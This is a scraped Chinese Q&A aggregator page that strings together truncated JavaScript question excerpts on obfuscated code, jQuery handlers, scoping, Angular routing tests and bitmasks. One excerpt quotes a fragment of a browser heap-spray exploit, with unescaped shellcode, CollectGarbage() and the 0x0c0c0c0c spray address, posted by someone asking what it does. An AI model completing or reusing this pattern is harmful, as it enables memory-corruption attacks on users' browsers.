草庐IT

javascript - 这段代码是用什么工具丑化的?

在检查页面的源代码时,我看到JS代码被丑化了,如下所示:eval((function(D28){for(varJ28="",p28=0,C28=function(D28,y28){for(varL28=0,E28=0;E28=32&&t28(54.0E1,99.)?2:1.3860E3(0x9F,105)?(140.,0):(104.,0xF3)=(0x157,146.)?(26.,70.9E1):(0x213,10.59E2)(1.137E3,82.)?(0.,null):(25.8E1,19.5E1)>=(0x1E5,0x183)?(9.4E1,\'r\'):(11.84E2,7`

javascript - 为什么这段代码没有针对正确的选择器

这个函数应该改变被点击对象的背景颜色functioncolorMe(){$(this).css('background-color','red');}我是这样调用它的$('.colorme').click(colorMe);它改变了这个div的背景ColorMe问题是我想在运行colorMe之前做些别的事情。所以我不能只使用$('.colorme').click(colorMe);。我想做的是这样的$('.colorme').click(function(){alert('somethinghappensfirst,thencolorMeiscalled');colorMe();//I

javascript - 如何使用 JavaScript 在一段文本上制作删除线效果动画?

我想尝试创建一种效果,当我触发一个事件时,一条动画线会穿过一段文本。效果应该在JavaScript中完成。有人可以建议一些方法吗?我的页面上已有文本,我希望文本从左到右划线,就像正在画一条线一样 最佳答案 使用jQuery只需稍作调整即可:http://jsfiddle.net/yahavbr/EbNh7/正在使用JS:var_text="";$(document).ready(function(){_text=$("#myDiv").text();StrikeThrough(0);});functionStrikeThrough(

javascript - 我可以在javascript中使用大括号来分隔代码段吗

这是一些示例代码。我想知道是否有任何理由不应该这样做。//somecodevarx="hello";{vary="nice";functionmyfunction(){//dostuff...}}我看到这样做的好处是能够以block的形式组织代码段,并让自动格式化程序做一些工作......在我的测试中,{}在创建var或函数时不会影响作用域。 最佳答案 这个答案是在早期JavaScript实现的时候写的。虽然适用于var的相同规则,ECMAScript2015(akaES6)介绍letvariabledeclarationstate

javascript - 我不明白这段代码

我不明白这段代码:functionms(){varplc=unescape('".unescape('\x43\x43\x43\x43\n.............\xEF'.$URL).CollectGarbage();if(mf)return(0);mf=1;varhsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);varss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;for(i=0;i在上面的函数中,我似乎无法弄清楚变量类型,或者弄清楚它对hsta变量做了什么,以及它分配给

javascript - 什么是自执行匿名函数或这段代码在做什么?

varmodule={};(function(exports){exports.notGlobalFunction=function(){console.log('Iamnotglobal');};}(module));functionnotGlobalFunction(){console.log('Iamglobal');}notGlobalFunction();//outputs"Iamglobal"module.notGlobalFunction();//outputs"Iamnotglobal"谁能帮我理解这是怎么回事?我知道如果您调用notGlobalFunction(),它

javascript - node.js 和段错误

当node.js进入Segmentationfault时是否可以检查javascript堆栈跟踪?当前情况如下:我正在运行一个包含一些嵌套async.eachSeries的脚本,由于某些奇怪的原因导致RangeError:Maximumcallstacksizeexceeded。因此,我通过node--stack-size=1000000增加了堆栈大小,但仍然出现段错误。这是脚本的源代码:http://nopaste.info/ca0c118591.html更新我也试过segfault-handler,但出于某些难以理解的原因,它没有捕捉到我的段错误。 最佳

javascript - Object.create( Class.prototype ) 在这段代码中做了什么?

我正在阅读mixinpatterninjavascript我遇到了这段我不理解的代码:SuperHero.prototype=Object.create(Person.prototype);原代码中实际上有一个错字(大写的H)。如果我小写它就可以了。但是,如果我真的删除该行,一切似乎都一样。完整代码如下:varPerson=function(firstName,lastName){this.firstName=firstName;this.lastName=lastName;this.gender="male";};//anewinstanceofPersoncantheneasily

javascript - Angular 单元测试 : Error: Cannot match any routes. URL 段: 'home/advisor'

我正在我的angular4.0.0应用程序下进行单元测试,我的真实组件中的一些方法正在通过以下方式调用手动路由:method(){....this.navigateTo('/home/advisor');....}withnavigateTo是一个自定义路由方法,调用它:publicnavigateTo(url:string){this.oldUrl=this.router.url;this.router.navigate([url],{skipLocationChange:true});}我有这个路由文件:import...//Componentsanddependenciescon

javascript - 0x0F 是什么意思?这段代码是什么意思?

我有这个代码。请让我理解这段代码的实际含义for(vari=0;i>>4)&0x0F)+hex_tab.charAt(x&0x0F);}什么是0x0F?而且,>>>意思是? 最佳答案 >>>>是无符号按位右移运算符。0x0F是一个十六进制数,十进制等于15。它代表低四位并转换位模式00001111。&是位AND操作。(x>>>4)&0x0F给你一个字节的高半字节。所以如果你有6A,你基本上会得到06:6A=((01101010>>>4)&0x0F)=(00000110&0x0F)=(00000110&00001111)=000001